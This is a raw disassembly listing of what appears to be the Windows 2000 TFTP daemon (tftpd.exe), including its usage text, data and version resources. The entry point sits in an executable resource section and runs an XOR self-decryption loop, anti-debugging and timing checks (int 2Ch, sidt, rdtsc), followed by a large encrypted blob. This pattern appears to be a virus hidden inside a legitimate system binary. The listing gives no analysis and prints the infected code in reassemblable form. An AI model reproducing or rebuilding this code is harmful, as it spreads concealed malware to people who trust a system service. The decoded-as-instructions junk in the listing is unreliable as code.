		db ' It listens on port 69 for requests                              '
		db '         ',0Ah
		db ' and spawns a thread to process each request.                    '
		db '         ',0Ah
		db '                                                                 '
		db '         ',0Ah
		db 'TFTPD USAGE and Installation:                                    '
		db '         ',0Ah
		db '                                                                 '
		db '         ',0Ah
		db '  md d:/tftpd                                     (the StartDirec'
		db 'tory).   ',0Ah
		db '  copy //MohsinA_p90/test/tftpd.exe .                            '
		db '         ',0Ah
		db '  sc create tftpd binPath= d:/tftpd/tftpd.exe     (give full path'
		db ').       ',0Ah
		db '  sc query tftpd                                  (check if insta'
		db 'lled).   ',0Ah
		db '                                                                 '
		db '         ',0Ah
		db 'Start:                                                           '
		db '         ',0Ah
		db '    sc start tftpd -f                             (creates a log '
		db 'file).   ',0Ah
		db 'or  sc start tftpd                                               '
		db '         ',0Ah
		db 'or  net start tftpd                                              '
		db '         ',0Ah
		db 'or  sc start tftpd [-dStartDirectory] [-e] [-f]                  '
		db '         ',0Ah
		db '    Options: -e  use event log.                                  '
		db '         ',0Ah
		db '             -f  log to file.                                    '
		db '         ',0Ah
		db '             -dStartDirectory                                    '
		db '         ',0Ah
		db 'Info:                                                            '
		db '         ',0Ah
		db '  sc interrogate tftpd           (logs will be updated).         '
		db '         ',0Ah
		db '  sc query tftpd                 Check whether running.          '
		db '         ',0Ah
		db 'Stop:                                                            '
		db '         ',0Ah
		db '  sc  stop tftpd                                                 '
		db '         ',0Ah
		db '  net stop tftpd                                                 '
		db '         ',0Ah
		db '                                                                 '
		db '         ',0Ah
		db 'Variables that control what files can be read/written and by whom'
		db ':        ',0Ah
		db '   StartDirectory - only files there will be accessible.         '
		db '         ',0Ah
		db '                    LogFile is created here.                     '
		db '         ',0Ah
		db '   ValidClients - Clients matching this ip address can read files'
		db '.        ',0Ah
		db '                    eg. you can set it to "157.55.8?.*"          '
		db '       ',0Ah
		db '   ValidMasters   - clients matching this can write and read file'
		db 's.       ',0Ah
		db '                    eg. you can set it to "" and no one can write'
		db '.      ',0Ah
		db '   ValidReadFiles - only matching files will be served out, eg. "'
		db 'r*.t?t"',0Ah
		db '   ValidWriteFiles- only matching files will be accepted,  eg. "w'
		db '*.txt" ',0Ah
		db '                                                                 '
		db '         ',0Ah
		db 'Client:                                                          '
		db '         ',0Ah
		db '  tftp [-i] servername {get|put} src_file dest_file              '
		db '         ',0Ah
		db '  -i from binary mode, else ascii mode is used.                  '
		db '         ',0Ah
		db '                                                                 '
		db '         ',0Ah
		db ' ================================================================'
		db '======== ',0Ah,0
		align 8
; char ServiceName[]
ServiceName	db 'Tftpd',0            ; DATA XREF: sub_1001665+Bo
					; .data:ServiceStartTableo
		align 10h
; SERVICE_TABLE_ENTRYA ServiceStartTable
ServiceStartTable SERVICE_TABLE_ENTRYA <offset ServiceName, offset sub_1001665>
					; DATA XREF: sub_1001570:loc_1001646o
					; "Tftpd"
		align 10h
off_1005CC0	dd offset aErrorUndefined ; DATA XREF: sub_100230A+73r
					; "Error undefined"
		dd offset aFileNotFound	; "File	not found"
		dd offset aAccessViolatio ; "Access violation"
		dd offset aDiskFullOrAllo ; "Disk full or allocation exceeded"
		dd offset aIllegalTftpOpe ; "Illegal TFTP operation"
		dd offset aUnknownTransfe ; "Unknown transfer ID"
		dd offset aFileAlreadyExi ; "File already exists"
		dd offset aNoSuchUser	; "No such user"
		dd offset aOptionNegotiat ; "Option negotiation	failure"
		align 8
; BYTE Data
Data		db 2Ah			; DATA XREF: sub_1002F31+143o
					; sub_10037BF+87o
		align 4
		dd 0Dh dup(0)
; BYTE byte_1005D20
byte_1005D20	db 2Ah			; DATA XREF: sub_1002F31+154o
					; sub_100333A+163o ...
		align 4
		dd 0Dh dup(0)
; BYTE byte_1005D58
byte_1005D58	db 2Ah			; DATA XREF: sub_1002F31+165o
					; sub_10037BF+EAo
		align 4
		dd 0Dh dup(0)
; BYTE byte_1005D90
byte_1005D90	db 2Ah			; DATA XREF: sub_100333A+178o
					; sub_10037BF+11Ao
		align 4
		dd 0Ch dup(0)
dword_1005DC4	dd 1				align 10h
; FILE *File
File		dd 0			; DATA XREF: sub_1001665+1E5w
					; sub_1001E73:loc_1001F36r ...
dword_1005DD4	dd 0		dword_1005DD8	dd 0							; sub_1001665:loc_100182Er ...
; HANDLE hHandle
hHandle		dd 0			; DATA XREF: sub_1001665+84w
					; sub_1001665+8Br ...
; HANDLE hObject
hObject		dd 0			; DATA XREF: sub_1001665+91w
					; sub_1001E73:loc_1001F0Cr ...
		align 8
; volatile LONG	Addend
Addend		dd 0			; DATA XREF: sub_1001A91+26Eo
					; sub_1001A91+2B3o
; HANDLE hHeap
hHeap		dd 0			; DATA XREF: sub_10019F0+29w
					; sub_1001A1F+52r ...
dword_1005DF0	dd 0							; sub_1001A1F+5Ew ...
dword_1005DF4	dd 0							; sub_1001A91+59w ...
dword_1005DF8	dd 0							; sub_10018DB+EFr
dword_1005DFC	dd 0		; HANDLE Handle
Handle		dd ?			; DATA XREF: sub_10018DB+F4o
					; sub_1002219+D5o
		db 3 dup(?)
dword_1005E07	dd ?							; sub_1003910+6Br ...
		align 4
		dd 7Ch dup(?)
dword_1005FFC	dd ?		dword_1006000	dd ?		dword_1006004	dd ?		dword_1006008	dd ?		dword_100600C	dd ?				dd 4 dup(?)
; struct _RTL_CRITICAL_SECTION stru_1006020
stru_1006020	_RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10018DB+14o
					; .text:01001D78o ...
; void *Memory
Memory		dd ?			; DATA XREF: sub_10018DB+2Ao
					; sub_10018DB+34w ...
dword_100603C	dd ?		; HANDLE hThread
hThread		dd ?			; DATA XREF: HandlerProc:loc_1001E1Dr
					; HandlerProc:loc_1001E35r
; SERVICE_STATUS_HANDLE	hServiceStatus
hServiceStatus	dd ?			; DATA XREF: sub_1001665+52w
					; sub_1001665+DBr ...
dword_1006048	dd 6 dup(?)	; struct _RTL_CRITICAL_SECTION stru_1006060
stru_1006060	_RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10019F0+5o
					; sub_1001A1F+2o ...
; LPVOID lpMem
lpMem		dd ?			; DATA XREF: sub_10019F0o
					; sub_10019F0+Fw ...
dword_100607C	dd ?		; struct _RTL_CRITICAL_SECTION CriticalSection
CriticalSection	_RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10018DB+Do
					; sub_100287F+1o ...
dword_1006098	dd ?							; sub_10018DB+25w ...
dword_100609C	dd ?		dword_10060A0	dd ?							; sub_10018DB+A2r ...
		dd 7 dup(?)
; time_t Time
Time		dq ?			; DATA XREF: sub_1001665+10Ao
					; sub_1001665:loc_1001857o ...
dword_10060C8	dd ?		dword_10060CC	dd ?				dd 0Ch dup(?)
; struct _OVERLAPPED overlapped
overlapped	_OVERLAPPED <?>		; DATA XREF: sub_10018DB+E0o
					; sub_1002219:loc_10022E9o
		align 10h
; struct _SERVICE_STATUS ServiceStatus
ServiceStatus	_SERVICE_STATUS	<?>	; DATA XREF: sub_1001665+10w
					; sub_1001665+63o ...
		align 10h
; struct WSAData stru_1006140
stru_1006140	WSAData	<?>		; DATA XREF: sub_1001665+9Co
dword_10062D0	dd ?		dword_10062D4	dd ?		dword_10062D8	dd ?				align 200h
_data		ends

; Section 3. (virtual address 00007000)
; Virtual size			: 00007400 (  29696.)
; Section size in file		: 00002000 (   8192.)
; Offset to raw	data for section: 00004800
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_rsrc		segment	para public 'CODE' use32
		assume cs:_rsrc
		;org 1007000h
		assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
		dd 3 dup(0)
		dd 10000h, 10h,	80000018h, 3 dup(0)
		dd 10000h, 1, 80000030h, 3 dup(0)
		dd 10000h, 409h, 48h, 7060h, 374h, 4 dup(0)
		dd 340374h, 560000h, 5F0053h, 450056h, 530052h,	4F0049h
		dd 5F004Eh, 4E0049h, 4F0046h, 0
		dd 0FEEF04BDh, 10000h, 50000h, 8560001h, 50000h, 8560001h
		dd 3Fh,	0
		dd 40004h, 1, 3	dup(0)
		dd 2D4h, 530001h, 720074h, 6E0069h, 460067h, 6C0069h, 490065h
		dd 66006Eh, 6Fh, 2B0h, 300001h,	300034h, 300039h, 420034h
		dd 30h,	16004Ch, 430001h, 6D006Fh, 610070h, 79006Eh, 61004Eh
		dd 65006Dh, 0
aMicrosoftCorpo:
		unicode	0, <Microsoft Corporation>,0
aR:
		unicode	0, <r%>
		dd 460001h, 6C0069h, 440065h, 730065h, 720063h,	700069h
		dd 690074h, 6E006Fh, 0
aTcpIpTrivialFi:
		unicode	0, <TCP/IP Trivial file	transfer daemon.>,0
		align 4
a8		db '8',0
		dw 0Ch
		dd 460001h, 6C0069h, 560065h, 720065h, 690073h,	6E006Fh
		dd 0
a5_00_2134_1:
		unicode	0, <5.00.2134.1>,0
a4_0:
		unicode	0, <4>
		dw 0Ah
		dd 490001h, 74006Eh, 720065h, 61006Eh, 4E006Ch,	6D0061h
		dd 65h,	660074h, 700074h, 2E0064h, 780065h, 65h, 280074h
		dd 4C0001h, 670065h, 6C0061h, 6F0043h, 790070h,	690072h
		dd 680067h, 74h, 6F0043h, 790070h, 690072h, 680067h, 200074h
		dd 430028h, 200029h, 69004Dh, 720063h, 73006Fh,	66006Fh
		dd 200074h, 6F0043h, 700072h, 20002Eh, 390031h,	310038h
		dd 31002Dh, 390039h, 39h, 0A003Ch, 4F0001h, 690072h, 690067h
		dd 61006Eh, 46006Ch, 6C0069h, 6E0065h, 6D0061h,	65h, 660074h
		dd 700074h, 2E0064h, 780065h, 65h, 2F007Eh, 500001h, 6F0072h
		dd 750064h, 740063h, 61004Eh, 65006Dh, 0
aMicrosoftRWind:
		unicode	0, <Microsoft(R) Windows (R) 2000 Operating System>,0
		align 4
		db '<',0
		dw 0Ch
		dd 500001h, 6F0072h, 750064h, 740063h, 650056h,	730072h
		dd 6F0069h, 6Eh, 2E0035h, 300030h, 32002Eh, 330031h, 2E0034h
		dd 31h,	44h, 560001h, 720061h, 690046h,	65006Ch, 6E0049h
		dd 6F0066h, 0
		dd 40024h, 540000h, 610072h, 73006Eh, 61006Ch, 690074h
		dd 6E006Fh, 0
		dd 4B00409h, 0Bh dup(0)
		assume ds:_data

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		cld
		call	loc_100742E
start		endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_1007406	proc near		; CODE XREF: .rsrc:0100747Dp
		push	ebx
		mov	ecx, 0DA5h
		mov	ebx, edx


loc_100740E:				; CODE XREF: sub_1007406+13j
		xor	[eax], dx
		lea	eax, [eax+2]
		xchg	dl, dh
		lea	edx, [ebx+edx]
		loop	loc_100740E
		pop	ebx
		retn
sub_1007406	endp

; ---------------------------------------------------------------------------
		cmp	al, 8Ch


loc_100741F:				; CODE XREF: .rsrc:01007468j
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_1007421:				; CODE XREF: .rsrc:01007436j
					; .rsrc:01007447j
		push	ebp
		mov	eax, 8000h
		xor	ecx, ecx
		jmp	short loc_1007455

; =============== S U B	R O U T	I N E =======================================



sub_100742B	proc near		; CODE XREF: .rsrc:0100744Ap
					; .rsrc:01007450p
		rdtsc
		retn
sub_100742B	endp

; ---------------------------------------------------------------------------


loc_100742E:				; CODE XREF: start+1p
		test	eax, eax
		jnz	short loc_100743A
		int	2Ch		; Internal routine for MSDOS (IRET)
		test	eax, eax
		jns	short loc_1007421
		jmp	short loc_1007449
; ---------------------------------------------------------------------------


loc_100743A:				; CODE XREF: .rsrc:01007430j
		push	eax


loc_100743B:				; CODE XREF: .rsrc:01007497j
		sidt	fword ptr [esp-2]
		pop	eax
		mov	eax, [eax+6]
		shl	eax, 10h
		jns	short loc_1007421


loc_1007449:				; CODE XREF: .rsrc:01007438j
		push	ebp
		call	sub_100742B
		xchg	eax, ecx
		call	sub_100742B


loc_1007455:				; CODE XREF: .rsrc:01007429j
		sub	eax, ecx


loc_1007457:				; CODE XREF: .rsrc:01007489j
		mov	ebp, [esp+4]
		sub	dword ptr [esp+4], 39B6h
		sub	eax, 100h
		jnb	short loc_100741F
		sub	ebp, 301006h
		lea	eax, [ebp+301082h]
		mov	dx, [eax-65h]
		call	sub_1007406
		xlat
		mov	word ptr [ebx-6Ch], es
		and	[ebp+10h], bl
		jnb	short loc_1007457
		in	eax, dx
		cmpsb
		cmpsd
		repne sbb ch, fs:[edi+eax-27h]
		loope	loc_10074FE	; CODE XREF: .rsrc:010074B1j
		into
		jbe	short loc_100743B
		mov	cl, 0EDh
		aad	8Bh
		repne idiv byte	ptr [edx]
		leave
		adc	eax, 1E87B665h
		pop	esp
		sbb	eax, 2D85CA98h
		mov	ebx, 0CED4D5CBh
		jecxz	short near ptr loc_1007494+1
		in	al, dx
		sub	eax, 97D32648h
		xchg	esp, [edi]
		bound	ecx, [edi-1Eh]
		push	ds
		adc	al, 7Bh
		jl	short near ptr loc_10074FF+4
		cmp	[eax+6Fh], eax
		or	al, 0AAh
		xor	[edi-207A43D6h], bl
		jmp	short loc_1007536
; ---------------------------------------------------------------------------
		dd 32AEA012h, 7E9CE796h, 0C17138DDh
		db 0FDh, 0BAh, 5Ch
; ---------------------------------------------------------------------------


loc_10074DF:				; CODE XREF: .rsrc:0100753Aj
		dec	byte ptr [edx-35D88D5Ch]
; ---------------------------------------------------------------------------
		db 0FFh, 0BBh, 74h
		dd 10925525h, 228CE14Ch, 44093362h, 3CE746B0h, 76F17678h
		db 25h,	5Fh
; ---------------------------------------------------------------------------


loc_10074FE:				; CODE XREF: .rsrc:loc_1007494j
		push	cs


loc_10074FF:				; CODE XREF: .rsrc:010074C1j
		test	eax, 0FA26714Dh
		movsb
; ---------------------------------------------------------------------------
		db 8Eh,	0Bh, 0Eh
		dd 0A05A4166h, 0EDAB74B0h, 0B56424C1h, 1140B3F1h, 27BCDDC9h
		dd 6BD0E4ECh, 7B1B4Ah, 0B580949Bh, 45FDD9EAh, 0AADDA1A7h
		dd 1F2166ABh
		db 2 dup(0CDh)
; ---------------------------------------------------------------------------


loc_1007536:				; CODE XREF: .rsrc:010074CEj
		xchg	eax, ecx
		out	dx, eax
		add	al, 6Fh
		jecxz	short loc_10074DF
		hlt
; ---------------------------------------------------------------------------
		db 0C2h, 7Bh, 90h
; ---------------------------------------------------------------------------
		or	dword ptr [edi], 26h
		sbb	edx, [edx+edx*2+0Dh]
		inc	ebp
		db	64h
		push	cs
		db	67h
		test	al, 0E4h
		pusha
		mov	edx, 0E79BB80Dh
		cmp	esi, esi
		setalc
		das
		adc	al, 0Dh
		cmp	esi, [edi-62h]
		retn
; ---------------------------------------------------------------------------
		db 81h,	3Dh, 83h
		dd 0D309CCFDh, 12FB4D23h, 592DD15Eh, 81611533h,	92946027h
		dd 0F2F1859Ch, 0FBF955Bh, 53DE4547h, 0AB5F3FB2h, 7E67D7D7h
		dd 0B9259ECAh, 0F4924A75h, 0AE2B983Fh, 90027A06h, 0C872BFF1h
		dd 15F392BBh, 780848BAh, 0A5640D2Bh, 43891FE1h,	0F7E49886h
		dd 7AA36F9Ah, 0C67539EEh, 0E42A4589h, 3FC5C98Ah, 17CE8293h
		dd 0CC77DFD2h, 0FB372313h, 1227EB8Bh, 317A4CB4h, 8DB74B50h
		dd 97FB4C84h, 0F480C0Fh, 71106159h, 0C6539CADh,	0F1A871DCh
		dd 0B984AC2Dh, 0F31C5E5h, 7AE8402Bh, 0ED647686h, 0FA65CEACh
		dd 0AA38EA9Dh, 0E6431EEDh, 3F80932h, 70019D6Fh,	0D324BECBh
		dd 0DB27B801h, 5403C4A0h, 0FC5E7091h, 66936772h, 6DD900E5h
		dd 74DC6CE6h, 547BB0B2h, 6EB5127Ah, 4E7C4442h, 97450962h
		dd 0BE982ED2h, 0A2D5A9B0h, 34196EA3h, 0DD662A29h, 8046A2F3h
		dd 22F6BEBCh, 1C564384h, 8887201Bh, 0A14F127Ch,	888224DCh
		dd 59DF938Eh, 0F9A66B67h, 0EA91A1CAh, 8FD0FCCDh, 0BA00C4C6h
		dd 1BC88E25h, 0C9543Dh,	54537715h, 440D8C72h, 0FF1846B0h
		dd 28B4C8FBh, 0C3793D70h, 94408B8Ch, 5D0C26D0h,	719C9699h
		dd 0EDD61225h, 997EB2D6h, 0CBA6EFC1h, 46C3A004h, 0B336B6B1h
		dd 0D6B36B33h, 76DF1DA3h, 6714DA1Eh, 3751D20h, 0F8A4685Bh
		dd 0BF6F68B7h, 0F5B072FBh, 0AFFDF1E8h, 9D4A88FCh, 0E0BD7A6Dh
		dd 836FA79Dh, 8EE1E2D4h, 0BEE9AAADh, 1AE704Fh, 0E5E7BFB6h
		dd 0E1C00335h, 0DC8244CCh, 0A3CFA3BDh, 0DABCDDE3h, 0B29FDB26h
		dd 60AFE3EEh, 0C8F0B4B5h, 3B94FDFAh, 0D2F0BB47h, 0B0C48880h
		dd 0D990D5E7h, 2CE9B62Dh, 0F4A19A97h, 0BD96A93Fh, 8B9F6F8h
		dd 4DCA9244h, 643D9F6Ah, 470FC150h, 24532732h, 5E30455Ch
		dd 361C58AAh, 252C6072h, 2E74383Bh, 8E3D00E4h, 7BFA7447h
		dd 0D04691A3h, 3E635931h, 2C5A52DCh, 384CE90Ah,	2AB94BB7h
		dd 85AE107Ch, 0E06BD5F1h, 985BB20Ch, 6582D3D4h,	0D62865D0h
		dd 7C34059Ah, 0B9686129h, 2956F4F5h, 0E1FCFB33h, 746C60B4h
		dd 5173AEE5h, 0CA517FC2h, 6B19BD8Ah, 338B692Ch,	0FBC3A9E4h
		dd 0C372365Fh, 0DD7A94F7h, 50CAC9Ah, 31431B6Eh,	66CA5669h
		dd 0F9335FE5h, 0FD23E789h, 0B5EBC566h, 6CB71DB6h, 9C795542h
		dd 0C22C0860h, 350CD0B2h, 0D8BEC99Bh, 62099F33h, 0E8651907h
		dd 8FD274AAh, 48F48438h, 10080C84h, 6185795Ch, 0A04E1A01h
		dd 0CCE53557h, 21DE4F24h, 7C2B6A5Dh, 0C15F2733h, 1FBA1B02h
		dd 52CFDA94h, 5B5274DCh, 0A8F637Ah, 0AA581C08h,	184F8BAAh
		dd 49B8DCDAh, 6FD9021Eh, 9D1D5B5Ah, 0F6346966h,	0A359CD8Eh
		dd 14FA4C0Dh, 311CD460h, 0E4621603h, 170A84A4h,	0D0674946h
		dd 88BA4EADh, 0EAF71989h, 0CB496587h, 0CC75C8Fh, 3F33CDA3h
		dd 0A5A3676Ah, 0DC097457h, 0F5649F8Fh, 2395B6AAh, 17A1EFEEh
		dd 219AF05h, 2C552930h,	264BB727h, 0C7B2FFFCh, 308108E1h
		dd 0D8B1BA3Ch, 5DABFD53h, 3306FAE7h, 0DECCF895h, 0D9BA5FC8h
		dd 0B0779A25h, 51B0EBEDh, 66E33A57h, 9F482C2Ah,	0D24F6F17h
		dd 3FCBFA3Dh, 6320F83Bh, 0D48FC89Fh, 0C38C31F2h, 0CFA9A82Fh
		dd 7AB2B3ABh, 0B317CFC4h, 7EC9A1FCh, 23A32750h,	947E5B8Dh
		dd 19DA5BE0h, 0C00A3575h, 0CEAA6E75h, 0F590A6F0h, 0A1D18538h
		dd 7E71C8F9h, 0E2C5113h, 0B2C4585Ah, 0FE0C7772h, 0E2DABABAh
		dd 3FDD9A4Eh, 73ECB9FEh, 0EB09BE4Ch, 7AC38503h,	880EE2FFh
		dd 0D72967F0h, 3D0B9D37h, 53671B07h, 0A9EB726Ch, 1EF7BBBCh
		dd 3A72167Ah, 4C784B7Dh, 0A1603FD8h, 95E23234h,	32E0A459h
		dd 0C9F26C6Eh, 932064FFh, 8B3895AFh, 908AC5C3h,	10A3DDC1h
		dd 27C391D3h, 0F82C7B76h, 8AC20EE8h, 0A867514Eh, 5826335h
		dd 9D2B6F13h, 0BE9292F6h, 9A88CFE1h, 0D95854BAh, 0EEC3073Ah
		dd 0B664087Eh, 7F2CE050h, 47F4B8BAh, 0FBC8083h,	0D784484Bh
		dd 601E4742h, 583E004Eh, 9C840AA4h, 3D0A9E8h, 9CADDCD6h
		dd 0EC459BBEh, 3493A38Bh, 73A4C5E9h, 92FA3130h,	0CA324841h
		dd 76B591h, 56E7DEDAh, 61DD0705h, 0A6774F5Fh, 0FE327075h
		dd 1808A2ABh, 57B1F1E5h, 87F11A3Ah, 0F0616442h,	848889Dh
		dd 2898F3DDh, 7CD830E5h, 0B3EF2C38h, 0EE090E51h, 66B7BDh
		dd 4EB5ECF1h, 0B4D1150Ch, 0D8196C31h, 0D4568398h, 3A94D2A7h
		dd 64ABD3EFh, 0DEEF2E37h, 0C7316A59h, 7488596h,	5385CDD9h
		dd 9ADE3373h, 93104D5Ah, 0E7526D6Ch, 6B76A6AEh,	41A0C1A6h
		dd 87FE292Ch, 0C81A2350h, 11739F85h, 258ED6C7h,	7DD23C7Dh
		dd 0B4132A03h, 0EB3C784Ch, 1665B6BCh, 2A99EFFBh, 0B4D40121h
		dd 0E90C4147h, 83548F9Fh, 0D8DD8F8h, 47A4E9EEh,	0DBEC2026h
		dd 0EE267350h, 6FBAB0h,	588BE0CDh, 91CB2015h, 8373765Dh
		dd 0E3717465h, 3068BDACh, 79A2F1D9h, 0E5D53D35h, 0FE294466h
		dd 13519A90h, 4C84F5DFh, 69C11A1Fh, 0CE3C3830h,	0C2326F4Dh
		dd 197EBFB7h, 69B3F6F2h, 0AEFB0F02h, 0C3026C2Bh, 0F04296A7h
		dd 2083DAECh, 75F883C5h, 0AAE21D38h, 0CE3F7D67h, 1D7D9BDCh
		dd 4292C1F3h, 0BCC60304h, 8671744Dh, 0E56F8998h, 366CB0AAh
		dd 74AFE3C6h, 97F03825h, 0EA347176h, 47A1E7h, 5884C7E7h
		dd 40C10117h, 0AF1F4C29h, 0ED31687Ch, 326788D0h, 64BFF6FBh
		dd 8EF4330Dh, 0D40B6429h, 1C45BC95h, 3F86D9C8h,	6FF180C3h
		dd 0B3ED1E3Ah, 0D82B5E65h, 6770B5B3h, 41B8D1ECh, 92C9002Dh
		dd 0CF1E537Eh, 0C9519492h, 358E8DC4h, 77B4DAE2h, 93FD3737h
		dd 0C7254B1Ch, 26C8687h, 50A1999Eh, 1DB0007h, 0AA18496Dh
		dd 0A2337760h, 226D82FFh, 478294E2h, 83DE383Fh,	0E161404Ah
		dd 126F998Bh, 37B0D0DBh, 69D00F0Bh, 0A0E43132h,	0FE190E4Eh
		dd 87B90A3h, 45B5CEC5h,	86C71206h, 0C80E7C30h, 0E05F9EBEh
		dd 2896D695h, 70AFD489h, 888B3F34h, 0D5357577h,	197989B7h
		dd 5FA2CEE5h, 0A8AC151Eh, 0B3014B53h, 0E27F6E63h, 5765A5A6h
		dd 6BA7E0C4h, 8BFF1C3Eh, 0DB112346h, 0D4D8FAAh,	32BFC7C7h
		dd 64DE0D15h, 0A31A2421h, 0FD236358h, 155ED4BAh, 48BDEEDEh
		dd 98E60111h, 0F7694841h, 0E743B681h, 1A9CC9DFh, 77A2EAF4h
		dd 94893E3Dh, 0C7205562h, 3B7FAABFh, 5681C9D5h,	83EF1D1Ch
		dd 80077937h, 0F85A9A8Dh, 366694ADh, 73A4E6E5h,	0A8E71959h
		dd 0C40A5040h, 106B9F8Ch, 4A8FD5E1h, 6DA1713h, 0BE33340Ch
		dd 0FF03676Fh, 110DB4BEh, 42A5D6EFh, 80EF310Dh,	0C4154F48h
		dd 0E5459DA7h, 3CB8BAD2h, 7EDBF2CBh, 0ACE52F1Fh, 0A0217C7Dh
		dd 1B47AF92h, 52BAD7CAh, 8BCE3D19h, 0AD114141h,	0E55599B0h
		dd 1D00BDB4h, 7EBDDDFBh, 9AC32D25h, 0C63C696Ch,	1B478BAEh
		dd 4888C0C2h, 4DF1A11h,	0BE2E490Eh, 0C2277261h,	287EBCB9h
		dd 409FFAF8h, 94E8310Ch, 0D9177529h, 1D4281A4h,	1596D3D5h
		dd 60D20DF6h, 97EC132Dh, 0CD25637Ch, 97DAAAEh, 7C8BA0C4h
		dd 96D03B2Ah, 0CF184541h, 0E7599AFBh, 3F8EA4B7h, 6CA0E2EFh
		dd 8EE23254h, 0DC357F72h, 57B85E4h, 4D95C5C5h, 60C00B17h
		dd 0BB765F50h, 91496060h, 3E69AEBEh, 41A0E096h,	0EAE33E35h
		dd 0D7144A6Fh, 0F4D829Ch, 309FD8F4h, 65D9341Ah,	0D3E52823h
		dd 0FE3D6346h, 1074BBA5h, 6FADF8E7h, 91CF0B07h,	0D80F5A53h
		dd 0F15382ABh, 23B3BEA4h, 7BB0E3FDh, 0ADC53A34h, 0A512797Ch
		dd 0B6FB1A8h, 4286C9D8h, 90CE1F3Dh, 87184A6Fh, 0FA534802h
		dd 326BBBAFh, 7EA8C3E7h, 8BFC1F3Fh, 0EB1F2246h,	3176ABBDh
		dd 4C08087h, 5AB63630h
		dd 0BC3D2521h, 0D3227863h, 330FAAB1h, 5998FCF8h, 94D40D00h
		dd 0F8106954h, 0E555A6F5h, 389DC9EFh, 7EA1D2FFh, 0A2CD293Bh
		dd 0C7031557h, 1F7C8EB9h, 468DC4F1h, 0BAD1280Ah, 0C69BB537h
		dd 0E46B36D4h, 0BD02C6C8h, 1EEEC21Ch, 0E0F85633h, 0C7084F70h
		dd 26EF6CECh, 6ABB7B39h, 54E23710h, 53EEC011h, 15443826h
		dd 0CAF3DC16h, 27E4B43Eh, 2C94A4E0h, 1EE0A47Ch,	0B32DC1E6h
		dd 489FE943h, 85428FEEh, 0D8B56505h, 2441D291h,	6916DA4Ch
		dd 518ACAF5h, 2D2D6A6Dh, 0DE4335Fh, 8A5FBB97h, 38FFD3C6h
		dd 1AADD98Ch, 0E2EF073Eh, 0FB58761Eh, 0E6DFB4B5h, 3BD88022h
		dd 964F2D28h, 0CB4817F2h, 0CF35FA82h, 49894044h, 283295A8h
		dd 0FC99C8EDh, 65612618h, 0AFD5BDA7h, 698F3332h, 82377EB1h
		dd 0D5825D71h, 62B45BF9h, 0F7965C26h, 0A3DBAF8Eh, 0F6B8E2E5h
		dd 412FD832h, 2BF0705h,	4FCCEC42h, 0C480706h, 0ED645053h
		dd 2CAAE6E4h, 40316466h, 4C252CACh, 9922FC7Fh, 20753927h
		dd 6FC1FD19h, 9A590D47h, 21CE7AC0h, 68CB5A5Dh, 8145A5C8h
		dd 0F7EED8EDh, 72CF5333h, 5BE32A7Eh, 832E1317h,	0B64999F1h
		dd 6797D4E6h, 0E64D63BBh, 0AEA0544Ch, 0EE6929EDh, 8431F51Fh
		dd 0A178E0C0h, 14F19F3Dh, 4904B23Ah, 0A4620C98h, 4DD78CB0h
		dd 35C8A68Dh, 9BA6AAF2h, 0DFB5B2FEh, 0ADF10031h, 4CCC4D0Eh
		dd 1EE890A2h, 25C95870h, 0AF372048h, 4DADA15h, 0BAF84EB7h
		dd 6F450DBBh, 0CF7D4148h, 941DDA80h, 0D583EE83h, 28E68078h
		dd 0F192D8EFh, 32EC2B2Ch, 812FF2FCh, 82DC43BEh,	0E27408E5h
		dd 0DCF32AEBh, 4AA5F652h, 65DF5F1Fh, 61342FF1h,	0AEF8A0E5h
		dd 9020755Ch, 1EC60294h, 5431E95Ah, 97C54913h, 0D4BD5CCDh
		dd 2F8D3520h, 72E5E102h, 3D02AEDBh, 0C6B121F0h,	0E18DAB28h
		dd 11460739h, 9E38C7D9h, 0AFC927D8h, 0DEB7A8F7h, 3B86DF2Ah
		dd 818691B0h, 8415CD72h, 0FBC68D6h, 56D9484Bh, 0AF5667FEh
		dd 938852DBh, 0B3DD9188h, 0F8AD4D10h, 0C0D7B63Bh, 65B7FAFCh
		dd 51FEC0CDh, 18C2E2D9h, 74715255h, 0A9673734h,	0F6921F6Eh
		dd 3AE6AF8Ah, 2C52376h,	0CA773FD6h, 0C6125206h,	0CEF79BCEh
		dd 23E0B8B2h, 7C15956Ch, 0B3612423h, 7E43BCBEh,	2CF0DFE9h
		dd 4CB97D80h, 2514BA1Ah, 0A4A3E3Bh, 3E66205Dh, 29B2CAF1h
		dd 0A2A26668h, 9D4F9BCEh, 7933F7FBh, 7ED76657h,	0D646DE8Ah
		dd 0CA685926h, 0CC80934Ah, 384DB2E2h, 427157FDh, 0A6AC405Fh
		dd 1700F9BEh, 42ABFD55h, 0D506FAE0h, 779CD6C3h,	65CE1E36h
		dd 0B05E27B3h, 0B91440ECh, 0B2B6A3DFh, 59E72BD6h, 812F1315h
		dd 60DDF35Fh, 0E310E4FEh, 2ADA945Ah, 0D6D49B66h, 73FCD226h
		dd 0D031C5DAh, 67302840h, 0D19C85B7h, 0E5094D4Bh, 0E553631Dh
		dd 79665354h, 2D01A698h, 0ECAAFBFDh, 15703708h,	8EEFF56h
		dd 0AA8CC708h, 12CC9091h, 0E594A8DDh, 9763A121h, 0F663F99Ch
		dd 0BAE2B18Ch, 6B5799Bh, 0BB5D7FC2h, 0A8C74CFBh, 18409B82h
		dd 0E85DB8EEh, 0A09F24A5h, 0DD36E500h, 0D379A2F3h, 64362E43h
		dd 2BE683B4h, 6702448Dh, 49501414h, 6918DC6Dh, 63B09A24h
		dd 7CA73A24h, 0C1713590h, 26313B7Eh, 0D70EC8FAh, 1BC98D16h
		dd 10E4756Bh, 0A46022B3h, 74226A62h, 1CE703B0h,	39925658h
		dd 0B81F5961h, 0A8EF787Dh, 0DC77BAF0h, 4DF368E7h, 9CEE2B15h
		dd 0C56756A8h, 0B03DFCBh, 0B9B37ED2h, 0B48D8F82h, 0D6846F5Ah
		dd 611FF3E5h, 5739B04Fh, 7F1D92A3h, 1FF5393Bh, 0BF6E323Ah
		dd 0E64195BFh, 349FADA8h, 0C953758Ch, 658E6278h, 9B616FDCh
